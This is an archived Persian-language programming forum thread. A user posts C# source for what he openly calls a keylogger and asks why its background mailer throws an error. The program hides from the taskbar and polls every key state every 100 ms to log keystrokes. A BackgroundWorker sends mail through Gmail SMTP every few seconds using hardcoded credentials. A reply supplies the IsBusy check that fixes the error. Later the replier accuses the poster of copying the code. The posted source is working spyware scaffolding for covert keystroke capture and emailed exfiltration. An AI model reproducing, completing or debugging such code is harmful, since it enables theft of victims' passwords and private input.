PDA

View Full Version : سوال: بروز error در هنگام ارسال میل با background worker



parsa lotfy
پنج شنبه 19 بهمن 1391, 19:10 عصر
دوستان من کیلاگری با کد زیر نوشتم :
using System;
using System.Collections.Generic;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
using System.Net.Mime;
using System.Net.NetworkInformation;

namespace WindowsFormsApplication1
{
static class Program
{
[STAThread]
static void Main()
{
Application.Run(new Form1());
}
}
public class Form1:Form
{

BackgroundWorker worker = new BackgroundWorker();


public string logs;


[System.Runtime.InteropServices.DllImport("user32")]
static extern int GetAsyncKeyState(long vkey);

public Timer timer = new Timer();

public Timer timer2 = new Timer();










public Form1()
{

InitializeBackgroundWorker();


this.Text = string.Empty;
this.ShowInTaskbar = false;
this.Opacity = 100 ;
this.ControlBox = true;

timer2.Tick += new EventHandler(timer2_Tick); // Everytime timer ticks, timer_Tick will be called
timer2.Interval = (5000) ; // Timer will tick evert 10 seconds
timer2.Enabled = true; // Enable the timer
timer2.Start();


timer.Tick += new EventHandler(timer_Tick); // Everytime timer ticks, timer_Tick will be called
timer.Interval = (100) ; // Timer will tick evert 10 seconds
timer.Enabled = true; // Enable the timer


timer.Start();


Button a = new Button();
a.Location = new System.Drawing.Point(100, 100);
a.Size = new System.Drawing.Size(50, 50);
a.Text = "salam";
this.Controls.Add(a);

}

private void InitializeBackgroundWorker()
{
worker.DoWork += new DoWorkEventHandler(worker_DoWork);

}

void worker_DoWork(object sender, DoWorkEventArgs e)
{
var fromAddress = new MailAddress("parsalotfy@gmail.com", "parsa");
var toAddress = new MailAddress("parsalotfy@gmail.com", "To Name");
const string fromPassword = "1234";
const string subject = "test3 ...";
const string body = "salam test3...";

var smtp = new SmtpClient
{
Host = "smtp.gmail.com",
Port = 587,
EnableSsl = true,
DeliveryMethod = SmtpDeliveryMethod.Network,
UseDefaultCredentials = false,
Credentials = new NetworkCredential(fromAddress.Address, fromPassword)
};
using (var message = new MailMessage(fromAddress, toAddress)
{
Subject = subject,
Body = body
})
{
smtp.Send(message);
MessageBox.Show("Mail Sended");
}
}


void timer_Tick(object sender, EventArgs e)
{
int code;
for (long i = 1; i <= 255; i++)
{
code = 0;
code = GetAsyncKeyState(i);
if (code != 0)
{
logs += (char)(i) + "*";
}
}

}



void timer2_Tick(object sender, EventArgs e)
{
worker.RunWorkerAsync();
}


}
}

نمیدونم چرا وقتی اجراش میکنم ، بک گراند ورکر کار خودشو به درستی انجام میده و میل هم ارسال میشه ، ولی ارور زیر رو میده !!! :متفکر:

http://upload.tehran98.com/img1/p7biy4ikvbbutr9z9z3b.png


اساتید میشه لطف کنین بگین چیکار کنم ارور نده ؟! :افسرده:

RED-C0DE
پنج شنبه 19 بهمن 1391, 19:20 عصر
داره می گه ک وقتی bgworker در حال کار است دیگه نمی تونی اون رو وادار ب کار کنی

در رویداد tick در timer2 :

void timer2_Tick(object sender, EventArgs e)
{
worker.RunWorkerAsync();
}


چندین بار داره درخواست اجرا برای backgroundworker ارسال می کنه ک در صورتی ک در حال کار باشه ، این exception صادر می شه

راه حل :
یکیش اینه ک قبل از اینکه RunWorkerAsync‌ رو فراخونی کنی چک کنی ک worker.IsBusy هست اگه نبود انجامش بدی

parsa lotfy
پنج شنبه 19 بهمن 1391, 19:31 عصر
ممنون میشه کد اینکه چیجوری از worker.IsBusy استفاده کنم رو بنویسی ؟؟؟؟
ممنون

RED-C0DE
پنج شنبه 19 بهمن 1391, 19:42 عصر
if (worker.IsBusy == false)
{
worker.RunWorkerAsync();
}

parsa lotfy
شنبه 21 بهمن 1391, 15:14 عصر
اساتید میشه کد من رو اصلاح کنین و خودتون تست کنین ببین ارور میده یا نه ؟؟؟؟؟؟
بعد لطف کنین کد اصلاح شده رو بذارید خیلی ازتون ممنون میشم :گریه:

RED-C0DE
یک شنبه 22 بهمن 1391, 11:00 صبح
!
برادر پارسا
کد این کیلاگر رو از کجا دانلود کردی ک نوشتی "خودم نوشتم" و حالا توش موندی اینجوری؟!
حداقل یکم سعیتو بکن یا از همونجا ک دان کردی بگیر